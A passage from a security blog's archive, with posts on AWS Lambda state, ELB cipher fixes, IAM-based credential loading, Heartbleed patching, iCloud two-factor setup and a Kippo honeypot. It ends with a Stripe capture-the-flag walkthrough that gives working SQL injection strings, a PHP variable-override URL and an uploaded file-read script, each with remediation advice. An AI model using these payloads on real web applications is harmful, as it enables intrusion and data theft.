Showing posts with label security. Show all posts
Showing posts with label security. Show all posts

Monday, December 7, 2015

AWS Lambda: "Occasionally Reliable Caching"

One of the biggest misconceptions I've heard from developers working with Lambda for the first time is that every execution of a Lambda function is entirely isolated and independent. AWS may be slightly responsible for this, as their documentation states:
Each AWS Lambda function runs in its own isolated environment, with its own resources and file system view. AWS Lambda uses the same techniques as Amazon EC2 to provide security and separation at the infrastructure and execution levels.
The trouble with this statement is that, while each function may be running in an isolated environment, the executions of that function have access to the same memory and disk resources. I'll skip right to an example.

var str = 'hello';

exports.handler = function(event, context) {
console.log(str);
str = 'it\'s me';
context.succeed();
};

Create a new Lambda function using this code and then run it twice. Here's the output:

START RequestId: 031528d9-8eea-22e5-b1e5-13516c9e3426 Version: $LATEST
2015-12-07T22:37:50.125Z 031528d9-8eea-22e5-b1e5-13516c9e3426 hello
END RequestId: 031528d9-8eea-22e5-b1e5-13516c9e3426
REPORT RequestId: 031528d9-8eea-22e5-b1e5-13516c9e3426 Duration: 10.91 ms Billed Duration: 100 ms Memory Size: 128 MB Max Memory Used: 8 MB

START RequestId: 4ac77131-8aca-11e3-874c-cb361dfcaaf1 Version: $LATEST
2015-12-07T22:38:10.101Z 4ac77131-8aca-11e3-874c-cb361dfcaaf1 it's me
END RequestId: 4ac77131-8aca-11e3-874c-cb361dfcaaf1
REPORT RequestId: 4ac77131-8aca-11e3-874c-cb361dfcaaf1 Duration: 8.49 ms Billed Duration: 100 ms Memory Size: 128 MB Max Memory Used: 9 MB

Run the function again in 30 minutes. It will output "hello" again because the container had to be reinitialized.

Not so isolated, right? To be fair, AWS does claim that any code outside of the handler function is treated as global code and is only initialized once per container. However, I've seen numerous developers mistakenly add code outside of the handler that should remain private. As Lambda becomes more ubiquitous, the distinction is critical for both performance and security.

Performance

Because code outside of the handler is only initialized once, this is the perfect spot for initializing Node modules, making database connections, etc. Additionally, it's also where global caching can be added. Take the following sample code:

var CACHE = {};

exports.handler = function(event, context) {
if (CACHE[event.item]) {
return context.succeed(CACHE[event.item]);
}

// Lookup object in database
db.find(event.item, function(err, item){
if (err) return context.fail(err);

CACHE[event.item] = item;
context.succeed(item);
});
};

Adding caching outside of the handler allows cached items to be shared across multiple executions of the same function. Because AWS does not guarantee that each execution will occur on the same container (due to scaling or lack of use), I've nicknamed this form of caching "Occasionally Reliable Caching" (ORC).

Security

As you can imagine, there are important security considerations here as well. Take the following hypothetical code:

var creditCard;

exports.handler = function(event, context) {
creditCard = {
number: event.credit_card_number,
exp: event.credit_card_expiration,
code: event.credit_card_security_code
};
// Connect to payment system to verify
payments.verify(creditCard, function(err){
if (err) {
context.fail('Invalid card');
} else {
context.succeed('Payment okay');
}
})
};

While this is honestly just as bad as storing credit card information in a global variable on a web server, outside of the request handler, the distinction isn't as clear or as well-known with Lambda. In the example above, if there are multiple executions occurring simultaneously, there is no guarantee as to which card is being verified.

This is an extreme example to indicate an obvious code error, but also note that Lambda is not yet PCI certified, so shouldn't be used for this kind of data in the first place.

As developers begin working more with Lambda, I expect this post to become unneeded; but until Lambda's execution model is more well-understood, it is important to keep in mind.

Enjoy this post? Want to learn more about Lambda? Pre-order my complete Lambda book on Amazon for only $3.99!

Wednesday, March 4, 2015

Update Your AWS ELBs to Protect Against the FREAK Vulnerability

The recently announced "FREAK" vulnerability is yet another blight on SSL. Fortunately, AWS has been quick as always to issue another cipher update. To protect your AWS Elastic Load Balancers from FREAK, follow these steps.

1. Navigate to your ELB in the EC2 console and select the "Listeners" tab.
2. Click on "Cipher."
3. Change the dropdown to the 2015-02 cipher policy.
4. Save.

That's it! Your ELBs will now be protected.

Thursday, January 15, 2015

Using IAM Roles and S3 to Securely Load Application Credentials

Many applications require certain information to be provided to them at run-time in order to utilize additional services. For example, applications that connect to a database require the database connection URL, a port, a username, and a password. Developers frequently utilize environment variables, which are set on the machine on which the application is running, to provide these credentials to the underlying code. Some developers, against all recommendations, will hard-code the credentials into an application, which then gets checked into git, distributed, etc.

Ideally, the credentials required by an application should not be hard-coded at all, or even accessible to processes outside of the one running the application itself. To achieve this, the application must determine what additional credentials it needs and load them prior to starting its main command.

Many applications that run on Amazon's Web Services platform have the added advantage of being hosted on EC2 instances that can assume specific IAM roles. An IAM role is essentially a definition of access rights that are provided to a particular AWS resource (an EC2 instance in this case). AWS takes care of generating temporary credentials for that instance, rotating them, and ensuring they are provided only to the assigned instance. Additionally, the AWS command line tools and various AWS language-specific SDKs will detect that they are being run on an instance using an IAM role and automatically load the necessary credentials.

As developers, we can take advantage of IAM roles to provide access to credentials that are stored in a private S3 bucket. When the application loads, it will use its IAM role to download the credentials and load them into the environment variables of the process. Then, wherever they are needed, they can simply be called by accessing the environment variable that has been defined.

As an example of this setup, here are the steps I would take to run a Node.js web server that requires some database credentials:

1. Create an S3 bucket called "organization-unique-name-credentials".

2. If you plan to have multiple applications, create a new folder for each within the bucket: "organization-unique-name-credentials/web-app," "organization-unique-name-credentials/app-two," etc. Ensure the proper access rights to each for your existing AWS users.

3. Set encryption on the bucket (you can use either AWS' key or your own).

4. Create a file called credentials.json that looks like this:

{
    "DB_URL" : "some-database-connection-string.com",
    "DB_PORT" : 3306,
    "DB_USER" : "app_user",
    "DB_PASS" : "securepass"
}

5. Upload the file to the right S3 bucket and folder (be sure to enable encryption or the upload will fail, assuming you required it for the bucket)

6. Create an IAM role for your instance. In the IAM console, click "Roles," then create a new role, enter a name, select "EC2 Service Role," and give it the following policy (add any other rights the app may need if it accesses other AWS resources):

{
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject"
      ],
      "Resource": [
        "arn:aws:s3:::organization-unique-name-credentials/web-app/credentials.json"
      ]
    }
  ]
}

7. Launch your EC2 instance, selecting the role you just created.

8. In your code, do the following (node pseudo-code):

var AWS = require('aws-sdk);
AWS.config.region = 'us-east-1';
var s3 = new AWS.S3();

var params = {
    Bucket: 'organization-unique-name-credentials',
    Key: 'web-app/credentials.json'
}

s3.getObject(params, function(err, data) {
    if (err) {
        console.log(err);
    } else {
        data = JSON.parse(data.Body.toString());
        for (i in data) {
            console.log('Setting environment variable: ' + i);
            process.env[i] = data[i];
        }

        // Load database via db.conn({user:process.env['DB_USER'], password:process.env[
'DB_PASS']}); etc...
    }
});

9. Run the app, and you will notice that the environment variables are downloaded from S3 and are set before the database connection is attempted.

If you're using Node.js, I made a module that does exactly this: https://www.npmjs.com/package/secure-credentials

If you're not using Node.js, this technique can be applied to any language that AWS has an SDK for. While it isn't 100% hacker-proof (if someone managed to log into your instance as root, he or she could still modify the source code to display the credentials), but combined with other AWS security mechanisms such as security groups, VPCs with proper network ACLs, etc. it can certainly help. Additionally, it keeps credentials out of the source code.

One final note: if you're running this app locally to test, your machine will obviously not have an EC2 IAM role. When testing locally, it's okay to use AWS keys and secrets, but be sure to keep them in a separate file that is excluded with .gitignore.

Tuesday, October 14, 2014

How to Disable SSLv3 on AWS Elastic Load Balancers

In a blog post today, Google announced that a vulnerability in SSLv3 had been found that could allow attackers to intercept data that had previously been assumed to be secured. Luckily, a very small portion of the web (IE6 users on Windows XP) still use SSLv3, so it can safely, for the most part, be disabled to mitigate the risk from this issue.

http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html

UPDATE 10/15: As Andrew and Julio point out in the comments below, AWS has since updated their default cipher security policies. Replace steps 5 and 6.

To modify the ciphers on AWS ELBs, follow the following steps:

1) Log into the AWS console and click on "Load Balancers."
2) Find the load balancer that handles your site's traffic (you shouldn't need to worry about internal VPC LBs, etc.)
3) Click the "Listeners" tab
4) Find the HTTPS/443 listener and click "Edit" under the cipher column
5) Change the option to "Custom"
6) Uncheck the SSLv3 option
5) Change the policy to "ELBSecurityPolicy-2014-10" which disables SSLv3 for you.
6) Save.

This should be sufficient to mitigate this risk with the information that is currently known.

Monday, September 1, 2014

Why Security is Important for Developer Operations

After working at my current gig for about a year now (internship plus full-time), I wanted to take some time to outline my experiences transitioning to more of a developer operations role from my existing security background. The transition has been fairly straight-forward, as much of the work I do currently touches security in some aspect. However, the biggest point I've noticed is how much security considerations are involved when developing tools for a traditional developer operations requirement.

While I am a big proponent of at least some security training for everyone in a technical role, it remains to be seen just how much is "enough." Obviously, as the realm of technical fields continues to expand at its current pace, having every member of a technical team fully trained in the security of the applications they are developing is impossible. Yet it is also imperative that they at least understand the risks associated with these applications; doing so should be a requirement of a good developer.

As a "Developer Operations Engineer" (a role whose title is still rather undefined and unstandardized), I generally focus on several categories of projects: infrastructure development, monitoring and incident response, and deployments and the application lifecycle. While this is a highly compressed view of my role, each of these has a dizzying array of security concerns. While some companies offload much of these concerns to a security team, smaller companies need to remain vigilant of their impact.

In most modern startup environments, infrastructure development typically refers to everyone's favorite buzzword: the cloud. Amazon Web Services, Microsoft Azure, Google's App Engine, the list goes on. The security concerns associated with the cloud are not the focus of this post, but I do want to highlight places where security is especially important. Almost every one of these services has security enhancements that are not used as often as they should be. For example, AWS's Virtual Private Cloud is not only free, but can also greatly improve security when used properly. Yet quickly starting instances from EC2 still requires less hassle and so remains the more common choice. Another example is the use of security groups. AWS's security groups are infinitely customizable, yet simply opening a port to the world (0.0.0.0) is a tempting simpler option. While hosted infrastructure providers like Amazon and Google abstract a lot of security work away from the customer, good security practices still require active participation.

Monitoring and incident response is perhaps the area in which a lack of security can have the biggest impact. While many "DevOps" engineers view monitoring in terms of system performance, monitoring must also cover system security. Disk space, CPU utilization, and memory usage are all important indicators of a healthy system, but so too are login attempts, changes to file permissions, and unauthorized outgoing network connections. A good monitoring platform must also monitor for security events that could signal an intrusion or potential breach of security. In the same light, the response to a security event should also contain a viable plan for mitigating the same risk in the future.

Finally, the deployment of applications is a critical component of the security of an infrastructure. Because the main goal of deployments from a developer operation's standpoint is automation, any security bugs introduced once tend to be replicated. For this reason, it is imperative that the deployment process and any actors in it (Jenkins, AWS S3, etc.) are fully secured and audited often. Vulnerabilities that are present here can expand exponentially when deployments are pushed.

The role of developer operations or server engineering is rapidly changing and expanding. While it does, it is important, if not necessary, to include security in the expansion and ensure that those building a company's most critical technological parts are also trained in protecting them.

How to Enable Two-Factor Authentication for iCloud (And Why You Should)

This past weekend was not a good one for at least twenty or so celebrities, as well as Apple's iCloud service. According to a number of reports, a large number of female celebrities had personal photos released from their private iCloud accounts after a hacker was able to gain access to them. While we don't know all the details yet, it is likely that a combination of social engineering, weak passwords, and publicly available security question answers merged to allow the attacker access. In light of these events, it's a great idea to review the security of your account to avoid any accidental exposure of your private information.

Two-Factor Authentication

One of the easiest ways to secure your iCloud account is to use two-factor authentication. With this feature enabled, an attacker will not be able to log into your account unless he or she also has access to your phone. To set it up, first head over to your Apple ID security page here: https://appleid.apple.com/account/manage/security

Make sure that two-factor authentication is setup. If it is not, begin the process by clicking the link. You will be asked for several pieces of information, including a phone number and answers to your security questions. You will also be asked to provide the code texted to you as well as given a very long reset code which should be treated as if it is your password (in other words, don't write it down some place that will be lost, and don't save it on your desktop).

Once you enter all this information, two-factor authentication will be setup. Congratulations, you've just made your iCloud account ten thousand times more secure!

iCloud Two-Factor Authentication


Security Questions

For most accounts, the only thing that stands between a hacker resetting your password and maintaining your security is a strong set of password security questions. What good are these questions if an attacker can find the answers on Facebook? This is a good time to check your questions and make sure they are hacker-proof. Here are some tips:

  1. Security questions should be simple for you to remember but complex for anyone else
  2. The answers to your questions should not be something an attacker can find on Facebook, Twitter, your blog, or on your abandoned MySpace page.
  3. Be very specific in your answers. If the question asks where you met your significant other (a common question), don't use "Los Angeles" as the answer. Instead, provide a specific street name, a friend's name who introduced you, etc.).
  4. Don't choose simple questions. "What is your favorite color?" and "Where were you born?" are ridiculously simple questions for attackers. Choose more complex questions that ask for information not found in your online profiles.
Securing iCloud is relatively simple and doing so can go a long way in securing your personal photos and documents. Unfortunately, leaks like the one that happened this weekend are going to occur. But by following these guidelines, at least you can make the hacker's efforts less rewarding, and in most cases, stop them entirely.

Tuesday, April 8, 2014

How to Fix OpenSSL Heart Bleed Bug on Ubuntu

If you're looking for how to update your Amazon Elastic Load Balancer, click here instead.

The recently discovered "Heart Bleed" bug in OpenSSL is an extremely critical security issue. Fixing it is relatively simple now that Ubuntu has pushed out changes to their repositories containing a fixed version of OpenSSL.

The following steps need to be run on each server that you generated a certificate or private key on. If you are using one certificate on multiple servers, then the cert needs to be revoked and regenerated on one of them and then pushed to each of the other servers.

UPDATE: Thanks to anonymous commenter for pointing out that relying solely on the build information is not completely accurate. Versions earlier than 1.0.1 are not vulnerable (although you should upgrade now that a fix is live for the latest version).

First, to make sure you (for some reason) don't have the latest version, run the following commands:

openssl version -b

openssl version -a

The response will look like:

OpenSSL 1.0.1 14 Mar 2012

built on: Wed Jan  8 20:45:51 UTC 2014

If the date is not more recent than older than "Mon Apr  7 20:33:29 UTC 2014" and the version is 1.0.1, then you are vulnerable to the Heart Bleed bug.

UPDATE: Reworded the above to make it clearer that the vulnerable versions were built before April 7th.

UPDATE: As James points out in the comments, different versions may have been built at different times, thus you should rely only on the date, not the time. Anything before Apr 7 is considered vulnerable.

Next, update your repositories:

sudo apt-get update

Once this finishes, upgrade openssl:

sudo apt-get upgrade openssl

sudo apt-get install openssl libssl1.0.0

UPDATE: use the install command to upgrade only openssl and libssl rather than upgrading everything on the server.

Once the upgrade finishes, check the version again. It should now read "Apr 7" or later.

Now, you need to regenerate your certificate using a new private key. This process is the same as it as always been, but I am including the link here for posterity's sake:

(Use step 3 and replace the key and cert names with your existing ones to overwrite them).

Once finished, you need to restart your Apache server and any services using SSL.

Update: Now with video:

Sunday, September 29, 2013

What I Wish I Knew Before Studying Computer Security in College

In twelve short weeks I am going to be graduating from college with a degree in Computer Networking with a focus in Computer Security. Over the past three and a half years, I have studied security in class, become involved in security-related extra-curriculars and in the industry, interned for a combined full year of full-time work at three different companies, and developed countless personal projects. Now that my time in college is almost over, I want to reflect on some of the things I've learned as a student of Computer Security with the hope that some incoming security students can learn from my experiences. If you are currently in the industry or have any other advice, feel free to leave a comment and start a discussion.

Update: There are some great discussions happening over at Hacker News and /r/netsec. Just to clarify some things that people have pointed out in those comments, this post is aimed primarily at new students who are considering this field. Obviously not every aspect is relevant for every person, but I tried to summarize the points most applicable to the largest number of students. Keep the comments coming, though - it's starting a great discussion about the state of security in academia.

Update 2: Thanks to Ãœnlü AÄŸyol for translating this post into Turkish. You can read it here.

1. This field is larger than you might think.

When I first started out as a freshman, I thought computer science as a general discipline was huge. There were so many sub-fields and focuses. Now that I've been studying one of those sub-fields, security, for almost four years, it seems huge in its own right. Cryptography, malware, reversing, mobile, forensics, web, mainframe, application, and networking are just a few of the topics in security (and that is barely scratching the surface).

Because of this, you will never learn everything. You will learn concepts and overarching principles along with a few details here and there. But the real experience comes from internships. Jump at internship opportunities the first chance you get. If you have no plans for the summer after freshman year, you are likely going to be behind.

2. You're not going to escape computer science.

The college that I am attending has distinct majors for Computer Security and Computer Networking that are in an entirely different department from Computer Science. Some schools have Computer Science as the major and Security as the minor or concentration. Regardless, I've heard countless peers say that the reason they chose security over computer science was to avoid all the programming. While you can certainly avoid some of the more concept-heavy principles of computer science by studying security, it's not going to do you many favors in the long-run. I haven't had a single internship that didn't require moderate to heavy amounts of programming. As a security student, I often wished that I had spent more time understanding the core elements of computer science. Additionally, many security challenges require a vast understanding of both the security and the programming concepts behind them.

3. Involvement and personal projects matter.

This is more relevant to the tech field in general, but is still extremely applicable to security. I know a number of students who are ready to graduate and don't have a single repo on GitHub, have never published a blog post, don't read any blogs online, and couldn't begin to list something on their resume that wasn't part of a class project. Getting good grades in class is not enough to sell your skills to an employer. The security field is full of conferences, challenges (Capture the Flags), and project opportunities. Getting involved in a security club (starting one if one doesn't exist), completing online challenges (there are hundreds of them), maintaining a blog, and pushing some personal projects to GitHub every once in a while are great ways to show that you actually care about the work you're studying.

4. You need to love this field to make it a career.

The rate at which technology is changing is absolutely insane. With every new program, technology, language, or feature that is developed comes a host of security challenges. New discoveries are made every day, if not every hour. A career in security is not one that can be performed at the office and separated from the rest of your life. To be successful, you need to be involved in the industry, reading blogs by security researchers, and even doing research yourself. You will never learn everything (see point number one), but at least you will be informed.

5. Learn to spell and use proper grammar.

I would often spend an extra ten or twenty minutes after every group project to go back through my peer's work and correct "then" to "than," "your" to "you're," and so on. I also repeatedly catch myself misspelling some words. Many students think that being in a tech career excuses them from the requirements of good spelling and proper grammar. However, security still requires reports, letters, emails, and other documentation along with written communication with bosses, clients, and coworkers. You are not going to be taken seriously if spelling mistakes are prevalent throughout your work.

6. Break things.

I spent the better part of my first year of college carefully completing every lab report, following the steps verbatim, and starting over when things went wrong. I relied entirely too heavily on virtual machine snapshots. What I should have been doing instead of pressing "restore" was Googling for my problem and fixing it. Thankfully, I recognized this early on and was able to start treating my labs as real-world scenarios. It's not very easy to simply hit "restore" on a production server because you accidentally deleted a set of files. So it shouldn't be possible in labs. Plus, while Googling for the problem, you just might learn a few other things as well.

To complement this point, don't be afraid to experiment on your own, either. Labs and homework are only going to teach you so much. As I mentioned in point one, it is impossible to teach every aspect of security in four years. You need to do your own work and break your own things. Virtual machines are perhaps the easiest way to do this. Want to learn how to secure a web server? Set one up and Google how to break it. Then, actually try. Download an insecure VM (De-ICE, WebGoat, etc.) and go through the challenges. As a professor of mine has said many times in class, "you're not learning unless your body is between the screen and the chair and your hands are on a keyboard."

7. Learn to use Google.

I mean really use Google. Learn how to find the most obscure problems and the most practical solutions. You will be amazed at how many other people have had the exact same problem.

8. You sometimes have to ask to find security internships.

When I first started looking for internships, the most common issue I ran into was what seemed like a lack of openings for security positions. Almost all the openings were for "Software Engineer," "IT," or "Help Desk." However, after I started sending out emails to companies, I found that many of them were extremely willing to take on an intern in their security department. All I had to do was ask.

9. Awesome security electives exist. Take them!

Obviously there is no way to fit every possible security concept into a four year degree program. Many schools offer security electives that supplement existing courses with new material. Two that I remember vividly were "Cyber Defense Techniques" (basically a team-based hack and defend course) and "Pentesting." These were very hands-on classes and required a lot of outside work. But they're also the classes in which I got the most time behind the keyboard and learned by doing. Many professors who are interested in security are willing to teach these courses because they want to learn as well. Sometimes, all it takes to get a course developed is to talk to a professor.

10. Vary your experience.

While it's certainly an option to intern at a company during your freshman year, come back every year after, get a job with them after graduation, and work for them the rest of your life, reality doesn't always pan out that way. You will never be able to predict where your career will take you in ten, twenty, or thirty years, so getting varied experience now might be the key to accepting or rejecting a future job offer. There are so many places that security experience can take you. You can work in the government, for a consulting firm, a startup, a bank, a typical business, a non-profit, and in practically almost any other environment you can imagine. If you have three summers between freshman and senior year, work in three different places. Vary your physical location (try a city vs a rural area), the size of the company (a startup may only have ten people whereas a multinational bank might have 10,000), and other factors.

11. You're still a college student.

Last, but not least, remember that you're a college student. Again, this is not solely applicable to security, but join organizations, make friends, and create experiences for yourself. Study abroad if you can. While coursework is certainly important, there is so much more to experience in college than just going to class and returning home. Take advantage of the discounts and offers you get as a college student (including many security conferences). You have just about four years to shape the rest of your life; remember to shape it evenly.

Sunday, October 21, 2012

Kippo Honeypot on Amazon EC2 Instance Free Tier

A project I've had in mind for a while is to use Amazon's Cloud (specifically an EC2 instance) to setup a honeypot. Luckily, Amazon has been offering a low end, free tier of service for an EC2 instance, which is just what I need for this project. In this post I'm going to walk through exactly what I did to setup a medium-interaction honeypot known as "Kippo" on an Amazon EC2 instance completely for free (at least for one year). This isn't as straightforward as it seems because, with the free tier, you only get one IP address. This means you can't setup your honeypot for SSH on one IP and the admin/machine SSH on another. Don't worry though, we'll fix that.

Setting up an EC2 Instance


The first step to setting up the honeypot is to subscribe to Amazon's EC2 service. You'll need to go through the registration and enter a credit card, but they won't charge anything to it. You'll also need to enter a phone number to receive a code in order to verify your identity. I'm not going to walk through that process here, but you can sign up and read more here: http://aws.amazon.com/ec2/

Once your account is created, open up the AWS Management Console. It should look like this:

Click on "EC2". Now, launch an instance by clicking "Launch Instance."
Choose the "Classic Wizard" and continue. Now, select the Ubuntu Server 12.04 64-bit image (note: instances included in the free tier are marked with a star).
Choose one instance, and an instance type of "Micro" with 613MB memory (note: this is also marked with a star).
Click "continue" through instance details, nothing needs to be changed. Next, create a key pair and save the resulting .pem file. You will need this to SSH to the server. For a security group, select the quick-start group from the left.
Now, you can review your instance and create it. The instance may take some time to initialize. Once it finishes, you should see it running under "instances."

Getting an IP Address


Now, create a new elastic IP for your machine. This will allow your machine to retain a single IP through which attackers can SSH. Click on "elastic IPs" under "Network and Security." Then, allocate a new IP address. In many cases, honeypots will have two network interfaces - one for the attack surface, another for management. Each interface would have a different IP address to separate the attack surface from the management. However, Amazon's free tier allocates only a single elastic IP. Do not create a second IP or you may be charged for additional usage.

Once you have an IP, make sure it is pointing to your running instance.

SSH to the Instance


We can now connect to the instance via SSH. Make sure you are in the folder in which you saved your .pem file from Amazon. Then, ssh using the following command:

ssh -v -i <your-key>.pem ubuntu@ec2-<ip-address>.compute-1.amazonaws.com

"Ubuntu" is the default username for the instance.

Change the SSH Port


To get around the IP address restrictions, we're going to run the management SSH on a non-standard port and the honeypot on the typical port 22. This will allow us to both obscure the management connection and increase the number of attacks seen by the honeypot (almost every attacker will try port 22 for SSH first). To change ports, we need to edit the configuration file for the already-running SSH server and then restart the service. Do this carefully or you may lose access to your machine.

Begin by editing your SSH config file located here: /etc/ssh/sshd_config

At the very top of the file are the following lines:

# What ports, IPs and protocols we listen for
Port 22

Change this port number to something between 49152 and 65535. Make sure you write it down and do not forget the port number you selected.

Now, restart the SSH service by running:

/etc/init.d/ssh restart

When you run this command you will likely be disconnected from your machine. Hopefully you "restarted" and didn't "stop."

You will now need to edit the Amazon security rules within your AWS console to allow your new port on inbound connections. To do this, click "Security Groups" under "Network & Security." Then, click on the "quick-start-1" group and then the "Inbound" tab. Add your new port number and be sure to apply the changes.
You can see that my port is 50683 in this case.

Now, reconnect to the machine by running the following command. Note the added -p parameter to specify the port number.

ssh -v -i <your-key>.pem ubuntu@ec2-<ip-address>.compute-1.amazonaws.com -p <port>

*Note: you can create an SSH configuration so you don't need to specify all these options for every connection  but that is beyond the scope of this guide.

Hopefully you have reconnected to your machine. SSH is now running on a port other than 22 which will allow us to use the standard SSH port for our honeypot.

Installing Kippo


We can now install Kippo and begin configuring our honeypot. I am not going to re-write a guide for the installation process as it is well-documented and many guides already exist. This is a great guide, written for CentOS, but the process is very similar: http://www.howtoforge.com/how-to-set-up-kippo-ssh-honeypot-on-centos-5.5

*Note that you should not need to update Python. Also, when downloading the Kippo source, be sure to use the latest version as this guide is a bit old. Finally, you will need to add the IPTABLES rule to redirect port 22 traffic to port 2222.

Once everything is installed and running, you should be able to issue the command:

ssh root@<your-ip>

and be logged into your honeypot.

Viewing Logs


One of the best parts of Kippo is that it logs every interaction an attacker has with the system. These logs are saved in /home/kipuser/kippo/log/
*kipuser may be replaced with the username of the kippo user you created.

To replay the logs, copy the file "playlog.py" from kippo/utils into the kippo/log/tty folder, then issue the command:

sudo python playlog.py <log-name>.log 0

This will replay the attacker's interaction with the system.

Further Resources


http://www.howtoforge.com/how-to-set-up-kippo-ssh-honeypot-on-centos-5.5
http://code.google.com/p/kippo/wiki/KippoOnLinux
http://www.linuxlookup.com/howto/change_default_ssh_port

Wednesday, August 29, 2012

Stripe Capture the Flag - Level by Level Walkthrough

Last week, Stripe, a web payments company, launched an online web security-based capture the flag event which ended today (Wednesday) at noon. The event was designed to challenge participants on some very common, as well as lesser-known vulnerabilities that exist in web applications. I decided to try my hand at some of the challenges and was fortunate enough to make it through all eight levels and earn myself an awesome prize (a Stripe T-Shirt)! I spent a bit of time after each level collecting notes about what I had tried, what worked, what didn't, and why the vulnerability existed. Some of the challenges really required out-of-box thinking, but capturing the password, and eventually the flag, was a truly rewarding experience.

I have decided to make this blog post detailing each level now that the contest has ended. Stripe is releasing the CTF as a download for other organizers to run or to run locally, so if you haven't participated yet and may wish to in the future, I'd stop reading here because there are some very big spoilers ahead.

I am going to break down each level into: a description and background explanation (so even if you didn't participate in the challenge, you can still get an understanding of what is happening), what the vulnerability was, and remediation methods.

Note: All of my code solutions are also posted to my GitHub account. They are posted as-is and are not guaranteed to work without modification for your account/instances.

Level 0 - The Secret Safe
Background
The first level starts us off with a simple application. The Secret Safe is a form, written in JavaScirpt and the Mustache JS framework with a SQLite backend, that allows uses to enter a name, a secret name, and a secret, then save it in the database. The secrets can then be viewed by entering the name in a search field. We are told that the password to level one is stored in the database as one of the secrets. However, we don't know the namespace used to save the secret, and thus, cannot simply search for it. Trying out the application a few times allows us to see the functionality, which is relatively simple. Secrets can only be retrieved by entering the correct namespace in the box "view secrets for." Or can they?

Vulnerability
Luckily (for the attacker), the SQL statement used to retrieve the stored secrets is vulnerable to SQL injection. SQL injection allows us to enter arbitrary text that is interpreted as part of the actual SQL command. Here is the exact SQL statement that is used when the user searches for a secret.

SELECT * FROM secrets WHERE key LIKE ? || ".%"

The notation above appends the term entered by the user to the end of the statement using the || characters to append the term, represented by the ".%". For example, if we were to enter the term "test," the final statement would look like this:

SELECT * FROM secrets WHERE key LIKE "test"

The fact that the application uses the input from the user directly, without first escaping any characters that could cause issue with the query, is the basis for our exploit. Let's assume that the user enters the character "%" as the search term. In SQL, the % character is considered a wildcard. Let's look at the statement when % is entered:

SELECT * FROM secrets WHERE key LIKE "%"

This statement will cause all results to be returned because the % character will match all the results in the database. Entering a % gives us the following result (and the needed password):


Remediation
The fundamental problem with this web application (and the cause of most web application vulnerabilities) is that it fails to treat user-entered input as unsafe. Information that is provided by the user in any shape or form should never be trusted by the application without first checking the input. Each application has different methods of escaping data that is entered by the user before crafting a SQL query, so the appropriate method for the language being used should be implemented. However, even safer queries can be generated by considering the kinds of input. For example, an input asking for a user's name should never allow characters such as @, &, (, <, >, etc.).

Level 1 - Guessing Game

Background
Level one implements a simple guessing game. In order to determine the password to the next level, a secret combination must be provided. The level uses PHP to load a file on the server, read its contents, and compare it to the parameter provided via GET (passed in via a form). If the parameter matches the combination, then the password is released.

Vulnerability
One technique developers use in PHP applications is to assign parameters using the extract() function. This function takes a URL such as:

site.com/?attempt=test

and assigns the variable $attempt the value "test." This works well when there are many variables to be retrieved (such as submitting a large form) because it negates the need to assign each variable individually:

$attempt = $_GET['attempt'];
$var2 = $_GET['next_var'];
...

However, extract introduces a security risk because it allows variables that have been previously set to be overridden using input. For example, in the application code, the variable $filename is set before extract() is used. If we provide our own filename variable, we can overwrite the original:

/?attempt=&filename=

In this case, we are setting both the attempt and the filename variables to the empty string "". By following the logic of the code, we can now see that this will cause the combination variable to also set to "" since the filename is blank. Finally, this will cause the if statement:

if($attempt === $combination)

to evaluate to true, releasing our password.

Remediation
Although the extract() function is dangerous in its native form, its security can be improved by using extract() with the EXTR_SKIP option. This option prevents already defined variables (such as $filename in the above example) from being overwritten by $_GET or $_POST variables. In addition, prefixes can be used to append a string to the variable if it overwrites an existing one using the EXTR_PREFIX_SAME option.

Level 2 - Social Network

Background
The social network is a basic application that allows for images to be uploaded as a profile picture. There is little more functionality beyond that, but that is all that is needed to exploit this level.

Vulnerability
The vulnerability in level two is so severe that it is used in the attacks of future levels. The developers of the application allow users to upload files but do not restrict the uploads in any way. Although the upload page asks the user to upload an image, we can upload any file we like. Since the page is written in PHP, we can safely assume a PHP server is running and upload our own PHP files for execution. Analyzing the code shows us that the password is stored in a file called "password.txt." Using the file_get_contents() function of PHP, we can create a very simple page which will retrieve our password:

<?php
echo file_get_contents("../password.txt");
?>

Note that we need to use ../ to go up to the user directory from the uploads directory where our page is saved. Running the page from the uploads directory gives us the password needed for level three.

Remediation
The main vulnerability here is that the upload page accepts files of any type. PHP allows upload restrcitions based on the MIME type (i.e. image/png, image/jpg, etc.). A file's extension should not be used as a sole valid check because anyone can change the extension of a file, although it can be compared to the MIME type for a bit of added security. Since MIME can be spoofed or arbitrary code can be inserted into an image file, the best option is to use a combination of MIME and extensions, check the MIME type on upload, and manually assign an extension based on the MIME type.

Level 3 - Secret Vault


Background
Level three appears to be a simple login-based application. In order to determine the password, we need to login using a valid username and password. This application is written in Python (more specifically, the Flask framework) with a SQLite backend.

Vulnerability
As with level zero, the input from the user is not properly escaped before being compiled as part of the SQL query. This allows us to inject malicious SQL to return the user "bob" who holds the password to level four. Below is the exact query that is vulnerable:

query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username)

The query is executed using cursor.execute(query) in Python. The execute function prevents us from simply ending the first query with a semicolon and beginning a new query such as:

bob; UPDATE users SET salt='' WHERE username='bob'

or something similar to directly modify the data in the database. However, we can use the UNION keyword to extend the original query and return the information we want. In SQL, UNION merges the results of the left hand query with that of the right. By entering the following query as the username, we can set the values of password_hash and salt to ones we know:

bob' UNION SELECT 1 as id, 'd74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1' as password_hash, '' as salt FROM users WHERE'1'='1

To determine the value of the password_hash, we need to determine what function the application is using to calculate it. Looking at the code reveals that it is sha256. An online hash calculator allows us to determine a hash for a password we know, such as "pass" in the example above.

By setting the salt to the empty string '', we are causing only the password we entered in the password box, "pass," to be hashed. When it is, it matches the hash we provide, thus giving us access to the user account. The final statement, with the injection looks like:

SELECT id, password_hash, salt FROM users WHERE username = 'bob' UNION SELECT 1 as id, 'd74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1' as password_hash, '' as salt FROM users WHERE'1'='1'

Remediation
As with level zero, user input should never be trusted. In this case, the first single quote after "bob" allows us to break out of the original statement. By properly escaping the input, this injection could be prevented.

Level 4 - Karma Fountain

Background
